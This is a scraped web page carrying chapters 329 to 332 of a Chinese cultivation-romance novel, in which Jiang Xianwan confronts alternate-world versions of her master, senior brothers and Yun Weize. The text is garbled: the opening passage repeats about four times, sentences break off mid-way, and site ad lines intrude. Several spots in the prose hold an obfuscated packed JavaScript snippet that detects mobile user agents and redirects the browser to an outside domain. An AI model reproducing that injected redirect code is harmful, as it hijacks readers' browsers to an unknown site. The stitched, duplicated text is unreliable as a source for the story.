周遭原本明媚的阳光,似乎也随着她情绪的跌落,一同黯淡。 这不是她的师尊。 这是林轻染的师尊。 她的师尊,在另一个世界。 与眼前这个花不休,不一样。 江献晚心里分得清清楚楚,却终究抵挡不住心底疯狂冒出的酸涩与委屈。 面前这个,同样是花不休啊! 她骤然冷却的神色让花不休脑中如缠乱麻,下颌线微绷,冷淡从梗涩的喉头挤出几个字。 “你,到底是谁!” 江献晚指尖轻抬,不轻不重地弹在那枚灼如流火的小铃铛上。 “叮”的一声清音荡开,她垂眸轻笑,笑意却未达眼底。 “我是谁……” “这铃铛,凤仪剑尊可熟悉?” 她忽的抬眼直视他,目光锐利如针,一字一顿: “我是谁。” “您说,我该是谁。” 尾音轻轻拖长,掺进一丝若有似无的嘲弄。 “好、师、尊?” 花不休:“……!” 江献晚没心情欣赏他那一脸如遭雷击的震愕,利落地转身推门,挥手间将结界撕开一道豁口。 她抱臂斜倚在门框上,神情慵懒,仿佛早已料到此刻的情景。 “师尊……” 一声似风般缥缈的轻喃,恍若穿透了时空隧道,跨过了漫长岁月,轻轻落在耳畔。 少女睡得深沉,半张脸浸在刺目的阳光里,神情是全然的放松,卸下了所有防备与尖刺。 或许觉得不甚舒服,像猫儿般无意识地用脸颊蹭了蹭他的掌心。 纤长的睫毛刷过皮肤,留下温热而潮湿的触感,花不休心跳骤然一停,随即莫名地狂跳起来。 师尊…… 她喊他师尊。 他虽没有能说出拒绝林轻染的话,也下意识不许她喊他师尊! 更与她无半点师徒情谊! 可,这一声“师尊”,竟似……本该如此。 江献晚并未沉睡太久,结界的晃动将她惊醒。 她昏沉地睁开眼,对上花不休那双复杂而陌生的视线,一时恍惚,不知今夕何夕,下意识地歪头,冲他露出一个浅淡却柔软的笑意。 嗓音里还带着浓重睡意的娇憨: “师尊尊……” 花不休:“……” 他眼中复杂的审视,很快让江献晚清醒过来。 唇角那点笑意渐渐沉下,直至彻底消失。 周遭原本明媚的阳光,似乎也随着她情绪的跌落,一同黯淡。 这不是她的师尊。 这是林轻染的师尊。 她的师尊,在另一个世界。 与眼前这个花不休,不一样。 江献晚心里分得清清楚楚,却终究抵挡不住心底疯狂冒出的酸涩与委屈。 面前这个,同样是花不休啊! 她骤然冷却的神色让花不休脑中如缠乱麻,下颌线微绷,冷淡从梗涩的喉头挤出几个字。 “你,到底是谁!” 江献晚指尖轻抬,不轻不重地弹在那枚灼如流火的小铃铛上。 “叮”的一声清音荡开,她垂眸轻笑,笑意却未达眼底。 “我是谁……” “这铃铛,凤仪剑尊可熟悉?” 她忽的抬眼直视他,目光锐利如针,一字一顿: “我是谁。” “您说,我该是谁。” 尾音轻轻拖长,掺进一丝若有似无的嘲弄。 “好、师、尊?” 花不休:“……!” 江献晚没心情欣赏他那一脸如遭雷击的震愕,利落地转身推门,挥手间将结界撕开一道豁口。 她抱臂斜倚在门框上,神情慵懒,仿佛早已料到此刻的情景。 “师尊……” 一声似风般缥缈的轻喃,恍若穿透了时空隧道,跨过了漫长岁月,轻轻落在耳畔。 少女睡得深沉,半张脸浸在刺目的阳光里,神情是全然的放松,卸下了所有防备与尖刺。 或许觉得不甚舒服,像猫儿般无意识地用脸颊蹭了蹭他的掌心。 纤长的睫毛刷过皮肤,留下温热而潮湿的触感,花不休心跳骤然一停,随即莫名地狂跳起来。 师尊…… 她喊他师尊。 他虽没有能说出拒绝林轻染的话,也下意识不许她喊他师尊! 更与她无半点师徒情谊! 可,这一声“师尊”,竟似……本该如此。 江献晚并未沉睡太久,结界的晃动将她惊醒。 她昏沉地睁开眼,对上花不休那双复杂而陌生的视线,一时恍惚,不知今夕何夕,下意识地歪头,冲他露出一个浅淡却柔软的笑意。 嗓音里还带着浓重睡意的娇憨: “师尊尊……” 花不休:“……” 他眼中复杂的审视,很快让江献晚清醒过来。 唇角那点笑意渐渐沉下,直至彻底消失。 周遭原本明媚的阳光,似乎也随着她情绪的跌落,一同黯淡。 这不是她的师尊。 这是林轻染的师尊。 她的师尊,在另一个世界。 与眼前这个花不休,不一样。 江献晚心里分得清清楚楚,却终究抵挡不住心底疯狂冒出的酸涩与委屈。 面前这个,同样是花不休啊! 她骤然冷却的神色让花不休脑中如缠乱麻,下颌线微绷,冷淡从梗涩的喉头挤出几个字。 “你,到底是谁!” 江献晚指尖轻抬,不轻不重地弹在那枚灼如流火的小铃铛上。 “叮”的一声清音荡开,她垂眸轻笑,笑意却未达眼底。 “我是谁……” “这铃铛,凤仪剑尊可熟悉?” 她忽的抬眼直视他,目光锐利如针,一字一顿: “我是谁。” “您说,我该是谁。” 尾音轻轻拖长,掺进一丝若有似无的嘲弄。 “好、师、尊?” 花不休:“……!” 江献晚没心情欣赏他那一脸如遭雷击的震愕,利落地转身推门,挥手间将结界撕开一道豁口。 她抱臂斜倚在门框上,神情慵懒,仿佛早已料到此刻的情景。 “师尊……” 一声似风般缥缈的轻喃,恍若穿透了时空隧道,跨过了漫长岁月,轻轻落在耳畔。 少女睡得深沉,半张脸浸在刺目的阳光里,神情是全然的放松,卸下了所有防备与尖刺。 或许觉得不甚舒服,像猫儿般无意识地用脸颊蹭了蹭他的掌心。 纤长的睫毛刷过皮肤,留下温热而潮湿的触感,花不休心跳骤然一停,随即莫名地狂跳起来。 师尊…… 她喊他师尊。 他虽没有能说出拒绝林轻染的话,也下意识不许她喊他师尊! 更与她无半点师徒情谊! 可,这一声“师尊”,竟似……本该如此。 江献晚并未沉睡太久,结界的晃动将她惊醒。 她昏沉地睁开眼,对上花不休那双复杂而陌生的视线,一时恍惚,不知今夕何夕,下意识地歪头,冲他露出一个浅淡却柔软的笑意。 嗓音里还带着浓重睡意的娇憨: “师尊尊……” 花不休:“……” 他眼中复杂的审视,很快让江献晚清醒过来。 唇角那点笑意渐渐沉下,直至彻底消失。 周遭原本明媚的阳光,似乎也随着她情绪的跌落,一同黯淡。 这不是她的师尊。 这是林轻染的师尊。 她的师尊,在另一个世界。 与眼前这个花不休,不一样。 江献晚心里分得清清楚楚,却终究抵挡不住心底疯狂冒出的酸涩与委屈。 面前这个,同样是花不休啊! 她骤然冷却的神色让花不休脑中如缠乱麻,下颌线微绷,冷淡从梗涩的喉头挤出几个字。 “你,到底是谁!” 江献晚指尖轻抬,不轻不重地弹在那枚灼如流火的小铃铛上。 “叮”的一声清音荡开,她垂眸轻笑,笑意却未达眼底。 “我是谁……” “这铃铛,凤仪剑尊可熟悉?” 她忽的抬眼直视他,目光锐利如针,一字一顿: “我是谁。” “您说,我该是谁。” 尾音轻轻拖长,掺进一丝若有似无的嘲弄。 “好、师、尊?” 花不休:“……!” 江献晚没心情欣赏他那一脸如遭雷击的震愕,利落地转身推门,挥手间将结界撕开一道豁口。 她抱臂斜倚在门框上,神情慵懒,仿佛早已料到此刻的情景。 “师尊……” 一声似风般缥缈的轻喃,恍若穿透了时空隧道,跨过了漫长岁月,轻轻落在耳畔。 少女睡得深沉,半张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302900|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸在刺目的阳光里,神情是全然的放松,卸下了所有防备与尖刺。 或许觉得不甚舒服,像猫儿般无意识地用脸颊蹭了蹭他的掌心。 纤长的睫毛刷过皮肤,留下温热而潮湿的触感,花不休心跳骤然一停,随即莫名地狂跳起来。 师尊…… 她喊他师尊。 他虽没有能说出拒绝林轻染的话,也下意识不许她喊他师尊! 更与她无半点师徒情谊! 可,这一声“师尊”,竟似……本该如此。 江献晚并未沉睡太久,结界的晃动将她惊醒。 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尾音轻轻拖长,掺进一丝若有似无的嘲弄。 “好、师、尊?” 花不休:“……!” 江献晚没心情欣赏他那一脸如遭雷击的震愕,利落地转身推门,挥手间将结界撕开一道豁口。 她抱臂斜倚在门框上,神情慵懒,仿佛早已料到此刻的情景。 第 329 章 打一架 茅草屋外三个尚年轻却已被风霜浸透的少年满脸警惕地拦在她面前。 苏清流整个人陷在一层挥之不去的阴郁里他眉心紧锁看人时那双眼睛沉得如同结冰的深潭又重又冷。 他身侧的白子夜面色亦是沉得几乎能拧出水来未发一言唇线抿的极紧。 唯有指间那支通体幽蓝的灵笔在急速翻转带起细微而危险的破空声笔尖幽光吞吐寒意刺骨。 似是一言不合两人便要大开杀戒上来拧断她的脖子。 性子最直的林玉锦率先按捺不住他脸上竟再也不见往日那般灿烂无忧的笑容只剩下生硬的戒备。 “你是谁?” “在我们山头做什么?” 江献晚微微眯了眯眸将修为压在化神期不紧不慢掏出一口锅。 她视线死死绞着三张熟悉而又充满陌生的面庞语气平静透着一股压不住的狠劲。 “打一架。” “你们赢我答所有问题。” “我赢。” 她一字一顿齿缝间都像是咬着铁锈。 “你们答我一个问题。” 她险些以为她突然来到了什么阴森的墓地眼前三人不像活人更像是刚从墓穴爬出的死气沉沉的活尸。 看人的眼神里都带着渗入骨髓的死寂。 望着这副模样的师兄江献晚只觉心脏仿佛被无形的手攥紧一股滞重的憋闷堵在心口连呼吸都窒涩起来。 再想到他们也要一起嫁给她林轻染几乎要呕出一口血还有种恨铁不成钢的憋闷。 三个师兄连带着花美人整整齐齐一个不落。 呵。 一锅端。 想想都要气傻了好吗! 她与苏清流他们互殴本就是家常便饭如今暴打这个世界的师兄更是没有半点心理负担。 今日若不将这三个不思进取的师兄敲醒 死、不、瞑、目! 更别说超度! 超度不了一点!!! 三个少年:“……” 视线倏地一下聚焦在那口……大得离谱甚至有些 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 荒唐的铁锅上。 苏清流唇角极细微的压紧了一瞬。 好狂妄,她是打算一挑三? 她方才气息内敛,深浅难测,此刻显露的是实打实的化神,与他同境。 可那周身流转的灵压却分明更沉、更凝练,隐隐压过他一头。 这个少女,很强。 他打不过。 更令他费解的是,花不休就在屋内,为何毫无动静? 任由这个陌生少女在此胡闹? 苏清流冷冷地凝视着她的脸,修长的手指无声扣上剑鞘。 一旁的白子夜嘴角扯出一丝冰冷的弧度,像是极度不耐,指间那支幽蓝灵笔转得几乎飞出残影,带起尖锐的鸣啸。 林玉锦最是干脆,他甚至懒得多想,长剑铿然出鞘,携着一股暴躁的戾气,率先直刺而来! 江献晚有些恍惚。 这个世界的师兄,终究与她的师兄不同。 苏清流似乎更加沉默阴郁,有如实质,压的人喘不过气。 就像是站在悬崖边缘,下一步就是万劫不复。 而白子夜……最温柔的二师兄,无论心情好坏,都会习惯性地、懒洋洋地发出一声“嘻的轻笑。 可眼前这个漂亮的少年,现在竟一点也不笑了! 最让她心头刺痛的是林玉锦。 原本最是跳脱闹腾,整日跟她一起胡闹惹事的小师兄,此刻剑意中充满了暴躁与戾气,隐隐已有失控之兆。 心念电转间,她手下丝毫未停,更未留半分余地。 那口黑沉沉的大铁锅在她手中快得化作残影,裹挟着沉重的风压。 锅锅到肉地闷在三个少年肩背、双臂…… 尤其是……脑袋瓜子!!! 对! 敲的就是他仨的脑袋瓜子! 力道刚猛,一锅接着一锅,犹如泰山压顶,跟特么疯狂打地鼠似的。 不给人喘口气的时间。 大有将他们三人硬生生夯进土里,要么敲开他们的脑袋,看看里面到底装的是什么的凶残架势! 三个少年:“……! 整个山头回荡着沉闷的撞击声,江献晚一打三,完全单方面碾压。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 别说,暴打三个师兄的快乐……想象不到! 特别是大师兄,很少被她这么压着,全方位无死角的暴打。 毕竟,天生剑骨,可不是盖的! 一锅都没能躲过去,苏清流脸色极差,白子夜和林玉锦脸色更是难看至极。 不仅是因为被全面压制、狼狈挨打,更因为这少女的招式路数……为何与他们如出一辙! 总能提前判断出他们下一个招数! 林玉锦脑袋又是正中一锅,单膝轰然跪地,摇晃了三下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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以苏清流他们的天赋和根骨,根本不该只有这点水平! 特别是苏清流,只是堪堪突破化神? 就……特么的搞笑!!! 声音陡然一戾。 “我赢了!” “说!为什么要跟林轻染成婚!” 色字头上一把刀,该不会是只顾着谈情说爱,各个平日里不思进取,才导致现在一个个废的睁不开眼! 第 330 章 现在,你们是我的了 苏清流面色一沉,眼中警惕与郁色交织,“你想说什么?” 白子夜一直阴沉的面颊出现一丝裂痕。 他指尖转动的灵笔倏然停住,语气变得莫名。 “相见恨晚。” “是你?” 屋内,一直静观其变的花不休,正欲捏碎锁灵链的指节猛地一顿。 是了,他想起来了。 今日信道之中,那个署名“相见恨晚”的人,艾特两境三域修士,撂下两句狂妄至极的话。 她与林轻染有仇,还是…… 江献晚缓缓扫过眉目间缠着晦暗的三个少年,即便心里清楚他们并非那个世界、纵容她、愿与她一同胡闹的师兄。 心头仍像是被什么东西狠狠拧了一下,鼻尖控制不住地泛起酸意。 她的师兄,从不会对她露出这般冰冷戒备、仿佛蒙尘般的表情。 压下喉间哽咽,冷笑着顶了回去,声音锐利。 “回答便是!” 她周身气势令苏清流又是一愣,触及那双隐隐发红、而又执拗逼人的眸子。 更是被什么突然灼烫了一下,反射性脱口而出。 “我……不小心碰到了她的腰。” 男女有别,林轻染要他负责,他也不知怎么,心神恍惚,就那般浑浑噩噩的应下了。 虽然,其实只是指尖无意擦过了一点衣料。 他说罢,自个反而怔住。 不明白怎么被这少女一瞪,就想也不想,将难以启齿的缘由全盘托出。 鬼知道,他这会儿,竟然有种很慌,很后悔……还很心虚的错觉。 不自觉飞快地侧开视线,躲闪般望向别处。 江献晚:“……” 就这? 答应了? 她以为自己听错了,可苏清流从不说谎。 视线一转,声音更冷。 “你们呢?” 白子夜抿了抿唇,在那双像是要**的目光下,竟也罕见地生出几分局促,声音里带着自己都未察觉的心虚。 “我……我不小心……看到她沐浴。” 虽然,只瞥见了小半个肩头。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 林玉锦不用催,下意识靠近她一步,像是急于辩解。 “她看到了我洗澡!” 虽然,他还穿着一身里衣。 林轻染硬要他负责。 江献晚:“……!!!” 一种植物,一种植物,一种植物…… 真特么离谱他妈给离谱开门……离谱到家了! 所以,他们三个,就这么被林轻染用如此离谱的理由坑了? 很好。 连诓带骗,合着是操控了苏清流他们的神识! 那么,花不休是不是也…… 江献晚险些气麻,仰天哈哈大笑三声的心都有了。 在三个少年一起偷偷摸摸,好奇打量她的目光中…… 忽然做出了一个让**跌眼镜的举动—— 刷地一下。 一把掀开自己的衣裙。 粗暴的震碎雪白长裤,露出两条笔直的、白花花的大长腿。 “从现在开始,你们是我了!” 三个师兄,责任感老强了,看了她的腿,怎么也得在林轻染和她之间来回挣扎一下。 其实,她已然意识到了不对,这个世界,花美人他们的所作所为,或许并非心底所愿! 三个少年:“……!!!” 面红耳赤! 手忙脚乱! 视线……无处安放!!! “闹够了吗?” 一道压抑着怒火的低沉嗓音骤然响起。 随着一件尚带着体温的宽大金红外袍兜头罩下,将她严严实实裹住,一股炙热而危险的触感同时悄无声息地压在她颈侧动脉之上。 花不休颀长的身形出现在她身后,全然笼罩。 另一只手双指并拢,指尖凝聚着磅礴欲出的恐怖灵力,虚虚抵在她后心命门要害之处。 他脸色铁青,眼底深处翻涌着难以辨明的剧烈烦躁,与一丝连他自己都未曾察觉的滔天醋意,眉心一痕火流纹似乎都在震颤。 视线难以控制地掠过地上一片破碎的白色衣料,心口那股滞闷的怒火和妒意几乎要炸裂开来,堵得他呼吸都带上了血腥气。 她怎么可以对着苏清流他们露出两条腿! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 还是……露到了……膝盖之上……再……之上! 与露到腿根,又有何区别! 江献晚并不意外他能挣开锁灵链,微微偏过头,垂下眼帘。 她并未去看颈侧那覆着火焰的短剑,更不在乎抵在她后心命门的指尖,眸光落在金红色外袍上。 眸光动了一下,再抬眸,直视花不休的眼睛。 学他惯有的神色。 似笑非笑。 “若我说,没有呢? 对不起。 师尊。 是她……来晚了。 那双漂亮的眸子里,仿佛盛着无数细碎的星芒,又或是揉碎了的粼粼波光,只一眼便让花不休眼底一阵剧烈晃动。 他喉结不受控制地上下滚动,几乎是狼狈地猛然侧开脸,避开了那将他灼穿的目光。 僵硬的挤出一句话。 “莫要在此胡闹,将衣裳穿上! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319045|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他惊愕于心头窜起的那股连自己都惊惶的滔天醋意。 酸涩尖锐的情绪来得汹涌陌生,几乎将他淹没。 更令他愕然的是,自己方才那脱口而出的熟稔语气,仿佛早已演练过千百遍。 甚至不知为何,自见到她的那一刻起,一种难以言喻的疼痛便盘踞在心口。 细细密密,绵绵不绝,说不清缘由,却疼得他呼吸微窒,指尖发冷。 让他有种…… 她再露出她那双长腿,自己可能会做出,把她两条腿儿都给……掰折了的暴躁举动。 江献晚仔细端详着他的神色,轻易便捕捉到他眼底深切的挣扎与近乎撕裂的痛楚。 白皙的指尖,故意慢条斯理,在他近乎猩红的眼眸中,捏起肩头一片衣料。 随手丟在地上。 唇角轻轻勾起一点弧度,一副浑不在意的模样。 “我们什么关系? “穿不穿又关你什么事? 她就不穿! 她还没脱光呢! 她说着,故意又将裙子提拎起来一些。 “我想穿就穿,我不想穿就不穿! “你管我穿…… “江献晚! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 花不休骤然低喝出声,打断她的话。 未经思考便气急败坏的怒斥,反而先惊了自己。 江献晚。 江献晚。 顺口的像是这个名字早就出现在他的人生中,念了千遍万遍,本该如此。 本该如此。 又是本该如此。 指尖猛地一颤,抵在那截脂膏似颈侧的短剑,不由得向下一压,瞬间划出一道细微的血痕。 花不休瞳孔骤然收缩,清晰地映出少女颈间那一点刺目的鲜红,仓促撤开手指。 心绪如同被狂风席卷,陡然又乱作一团,眼底控制不住地浮起一层天塌地陷般的慌乱。 这种全然陌生的失控感,叫他窒息,也叫他无措。 竭力压下胸腔里翻涌的惊涛骇浪,强迫自己的语气恢复成一潭死水般的冷漠与疏离。 “穿,还是死?” 他的举动惹的三个少年不约而同蹙起了眉头,皆沉默的站在原地未动,却紧紧锁着江献晚颈子上的血珠。 神色复杂难辨,不知在想什么。 江献晚:“……” 特么…… 不穿! 死也不穿! 她就不穿! 逼急她,她在破山头裸奔! 好你个花不休,拿剑和指尖抵着她两大命门就算了,还来凶她? 这个不给治服了,她干脆一头撞死,别活了! 第 331 章 甘之如饴 江献晚齿尖无声碾过下唇。 好啊。 她倒要看看,花不休如何丢下她,与别人成婚! 眼底流露出的那抹不可置信,拿捏得恰到好处。 仿佛真被他那冰冷的语调刺伤了心口,脸上的血色一点点褪尽,变得苍白如纸。 她蜷缩了一下指尖,又松开,忽然径直举步。 侧颈狠狠擦过锋利的短剑,鲜血顿时急涌而出,迅速染红了青衣。 眨眼消失在破山头。 哐当—— 手中短剑一声坠地,几滴温热的血液喷溅在他面颊,花不休瞳孔骤缩,指尖与衣袖皆被血浇的湿黏。 他目光死死锁在剑锋上一道刺目的猩红,猛地抬手狠狠摁住心口。 像是要将某种剜心蚀骨的剧痛强行压下,整个人却向后跌退了两步,几乎站立不稳。 三个少年怔在原地,望着那一袭青影如风卷残云般消逝在山峦尽头,脸上俱是恍惚与空白。 像是……丢了什么很重要的东西。 林玉锦捂上心口,长睫低垂,一滴泪毫无征兆地从眼眶滑落。 “大师兄。他声音轻颤,带着几分茫然的无助,“我这里……突然很疼。 苏清流和白子夜无法回答他,他们轻轻碰了碰眼角。 指尖所及,才发现,面上不知何时,已是湿润一片。 无人看到的地方,江献晚却如释重负,重重将额头抵在粗糙的树上。 她擅医术,特意探了花美人的脉。 那脉象分明仍是元阳未泄之身。 三个师兄也没有被嚯嚯。 江献晚有些不解。 依林轻染的性子,不会放过与美人图鉴双修的机会。 可为何到了现在…… 方才花不休和师兄看她受伤,过于激烈的反应,更是让她惊出一层后怕的冷汗。 难不成,是因为另一个尘世的存在,牵动了这个尘世里他们的心绪? 那么,剩下的人呢? 一切,又是否都来得及挽回。 天道:“…… 让你来参加他们大婚吗逆子! 不知道他们 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 各个爱你爱的多深吗? 江献晚又一次将额头撞向树干藉着痛意强迫自己镇定下来。 迅速敛住气息转身疾步再度朝太虚宗的方向掠去。 她瞥了一眼云层中悬浮的宫殿身形如烟悄无声息地穿过了太虚宗外围的结界。 花不休懒散的很不似现在眉心总蹙着。 他们四师兄妹认祖归宗也没去领过什么弟子腰牌反正那一身青衣足够出众谁见了都知他们是凤仪台的人。 不过没有身份牌不是问题。 以她如今的修为想进来易如反掌。 江献晚如入无人之境轻而易举便踏入太虚宗飞身掠上白玉长阶直登那座悬浮于云端的浮殿。 抬手撩开雪色纱幔亭中如玉如琢的南帝尊支颐下颌神色淡渺地朝她看来。 他身披云缎华服墨发以玉带轻束眉眼低垂处宛若水墨画卷中最疏淡的一笔。 唇色极淡肤色冷白似玉整个人如同琼台玉树风骨天成清贵难言。 显然在她踏进太虚宗那刻便已知晓。 一开口是江献晚预料之中望而却步的疏离。 还有不易察觉的杀意。 “阁下擅闯我太虚宗所为何事?” 江献晚不语兀自散漫的在他对面坐下从芥子囊掏出一只流光温润的玉瓶拿过桌案上干净的茶杯满上。 清冽如玉髓的液体落入杯中氤氲起一股纯净至极的灵息。 云为泽指节蓦地一蜷瞳仁难以抑制地细微颤动。 灵泽之露! 她为何会有? 他分明从未给过任何人! 这个少女 晦涩难辨的目光探究地掠过那截纤细的侧颈最终停在她肩头那片被鲜血浸染的衣襟之上。 伤口狰狞可怖入骨极深残留的灼烈灵力……分明是凤仪的本命法器所致。 她做了什么? 竟惹了凤仪出手? 那伤口看上去……像是她自己撞的? 两境三域何时又多出了这么一位渡劫? 云为泽微微敛起双眉嗓音沉了几分带着某种难以捉摸的深意。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “你是相见恨晚。” 不是疑问,是陈述。 江献晚浑不在意地点了点头,旋即敛了脸上空茫的神色,展颜一笑。 那笑容明媚灼目,似六月初夏最绚烂的骄阳。 轻轻眨眼时,眸中流转的光彩宛如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为何……觉得她颈子上的伤口很是刺眼。 灼他的心脏,都要扭曲作一团。 她擅闯他的潋浮台,他本该杀了她的。 明明只是初见。 云为泽错愕于骤起的陌生心绪,眸光落定在那张滟若海棠的面颊,而后……再次不受控制的滑向她唇间微微咬着的荔枝肉。 果肉莹白,饱满水润。 便如那双唇。 她喜欢吃荔枝。 心中陡然蹦出这么一个念头。 第 332 章 拦下她 意识到这个匪夷所思的事实,即便是素来波澜不惊的南帝尊,眼底也再度掠过一丝难以掩饰的错愕。 尤其少女随手将盘子推过来了些,一切都那般的熟稔。 “你叫什么?” 他问。 言罢,有些懊恼。 南帝尊不该如此。 他亦,不会对任何人如此。 谁知,对面趴的歪歪扭扭的少女,漫不经心,满不在乎。 “晚晚啊。” 晚晚啊。 你忘了,刚认识时,每次这么喊,总是要笑着拖一点点音,贱嗖嗖的。 后来,落在她耳畔的一声声,便是缱绻悱恻的缠绵爱意。 江献晚不知为何,又忽然烦躁起来,起身。 “帝尊,不杀,那我可就……走了。” 无论在哪一个世界的云为泽,心思都如九曲深潭,难以窥尽。 话说得越多,反而容易弄巧成拙。 按他的一贯作风,既然方才没有动手,便是心软了…… 而且,留给她的时间不多。 一个月。 她还要去妖域,去北境,去魔域,去寻……风回雪,帝隐,还有非翎。 这个世界也好,那个世界也罢,这几个男人,一个都不能与林轻染成婚! 她痛痛快快的来,痛痛快快的走,似乎不给人留一点回神的时间。 转身之际,一阵清脆悦耳的声音,再度响起。 故意使得云为泽看见。 而就在她突然起身的刹那,云为泽阔袖下的指尖颤了一下,眼底浮出一层自己都未曾察觉的酸涩,和想要挽留的冲动。 强制按捺,坐稳了。 可就在此时,一缕清脆的铃音……撞入耳际。 他睫羽震颤着一低,一截雪白的足踝毫无征兆地闯入视线。 脚边漆黑的花骨朵疯狂蔓延,骤然绽开…… 途经半山腰,江献晚身形微微一滞。 时云霄,秦秦? 犹豫了片刻,旋身落于枝繁叶茂的树干。 两个少年在交谈什么。 时云霄拧了拧眉心,“林轻染下了 追杀令,现在两境三域的修士都在找那个人。” 秦秦怀揽长剑,同样魂不守舍,“应当是位散修。” 顿了顿,又道:“只是随口一句,何必如此。” 时云霄:“你也知道她……” 林轻染最看不得有任何一个女性,出现在他们周围。 他们也不知为何,以闭关为理由,避免与他人接触……同样,下意识避免与她接触。 明明应下那般大跌眼镜的要求,却又像是……心底不怎么对。 帝尊和凤仪剑尊自虚古境露了面,再回来,亦是再未出现过。 就连苏清流三人,也是如此。 想到这种诡异,但又说不出来的感觉,时云霄默了片刻。 话音一转,故作轻松道:“不过,这么勇的,还真是想见识见识。” 秦秦点了一下头,继而,又垂了睫毛不说话,似有满腹心事。 “时师兄和秦师兄,想见我?” 一声愉悦的浅笑自头顶传来,时云霄和秦秦双双惊愕抬眸。 他们竟未发现此人何时来的! 树干上,少女青衣,一头绸缎似的乌发垂至臀尖,双臂怀抱,后倾斜倚,一条长腿微屈,散漫的不得了。 时云霄愣了一下,旋即,眸子微微睁大,“你,你是那个相见恨晚?” 不待她回答,又忍不住继续追问,“你为何在此?还有,你知不知道两境三域的修士都在追杀你?” 她还敢明目张胆的来太虚宗? 不怕他们将她捉了? 这个少女身形出挑,尽管一身素淡的青衣,也压不住的滟色,美的实在嚣张。 若是这张脸被林轻染看到,只怕会惹出更多风波。 时云霄想着想着,不觉又是一愣。 不是,他怎么担忧起了一个与他无关的陌生人? 这么善良的吗…… 还有种,不能让林轻染找到她的忧急。 秦秦却留意到她方才的称呼,欲言又止,“你,喊我们什么?” 江献晚一歪脑瓜,朝他轻轻眨了一下眼,“秦秦师兄。” 秦秦抿了抿唇,暖阳下,耳尖晕开一抹浅浅的绯色。 他绷紧了脸,艰 难吐出几个字,“你别撒娇。” 江献晚:“……?” 时云霄:“……?” 就连时云霄也扭头看他。 她哪里撒娇了? 你从哪听出她撒娇了? 她方才也喊我师兄了啊! 被两双目光直勾勾的盯着,秦秦耳尖愈发的红,懊恼的又抿了一下唇。 努力使自己的声音,听起来很冷漠。 嘴里反倒是不由自主说着关心的话。 “你既已听到,莫要再在信道里胡言乱语,这次便放过你擅闯太虚宗一事。” 林轻染被落了面子,定然不会善罢甘休。 江献晚古怪地看了他一眼,缓缓直起身子。 临走时突然对两个眼巴巴瞧着她的少年回眸一笑,“时师兄秦师兄,我可没胡说。” “林轻染能到娶一个算他妈我输!” 时云霄:“……” 秦秦:“……” 那你倒是说,你到底为了谁要跟林轻染抢人啊! 还是说……全抢? 望着她离开的方向,秦秦竟觉得有些怅然若失。 时云霄更是不自觉的追了两步。 相见恨晚。 他为什么觉得这个相见恨晚,让他有种……相见恨晚的感觉! 江献晚在穿过太虚宗结界的那刻,同回凤仪台的四道身影擦身而过。 全当做看不见花不休欲言又止的神色,侧身躲过下意识伸手挽留的三个少年,加快速度。 “哥!” “拦下她!” 骤然间,一声急促得近乎崩溃的嗓音,自身后撕裂空气般响起。 潋浮台上,云为泽身形急掠而出,如一道失控的惊鸿,向来从容的眉眼此刻染满了破碎的慌张。 那慌乱如此深切,以至于他的声音都透出嘶哑,字字在喉间破裂。 某种原胜理智的身体本能,先一步觉醒,在云为泽越过他,指尖如捕一缕短暂却灼目的天光。 花不休身形如电疾掠而至,五指凌空疾扣。 将云为泽狠狠扯回! 江献晚眸光倏然一颤,只听一声“刺啦”的裂帛声响,徒留一角破碎的青衣被云为泽紧紧攥在指间。 她咬着牙关,始终没有回头,如青烟般,再无踪迹。 更不曾看见,身后那五个身影,僵立在原地,如同被骤然抽离了魂魄,眼底尽是迷失重要至宝般的空茫与无措。 云为泽被花不休死死扣着肩头,眼睁睁望着那道身影彻底消失在视线尽头,双眸骤然涌起一片骇人的猩红。 他猛地挥开花不休的手,神情失控,宛如一头被困牢笼、遍体鳞伤的野兽。 嘶声低吼。 “为什么!” “为什么要拦着我!为什么要放她走!” “你明知她……” “云为泽!” 花不休一拳重重击在他面颊上,将他未尽之语逼了回去。 难吐出几个字,“你别撒娇。” 江献晚:“……?” 时云霄:“……?” 就连时云霄也扭头看他。 她哪里撒娇了? 你从哪听出她撒娇了? 她方才也喊我师兄了啊! 被两双目光直勾勾的盯着,秦秦耳尖愈发的红,懊恼的又抿了一下唇。 努力使自己的声音,听起来很冷漠。 嘴里反倒是不由自主说着关心的话。 “你既已听到,莫要再在信道里胡言乱语,这次便放过你擅闯太虚宗一事。” 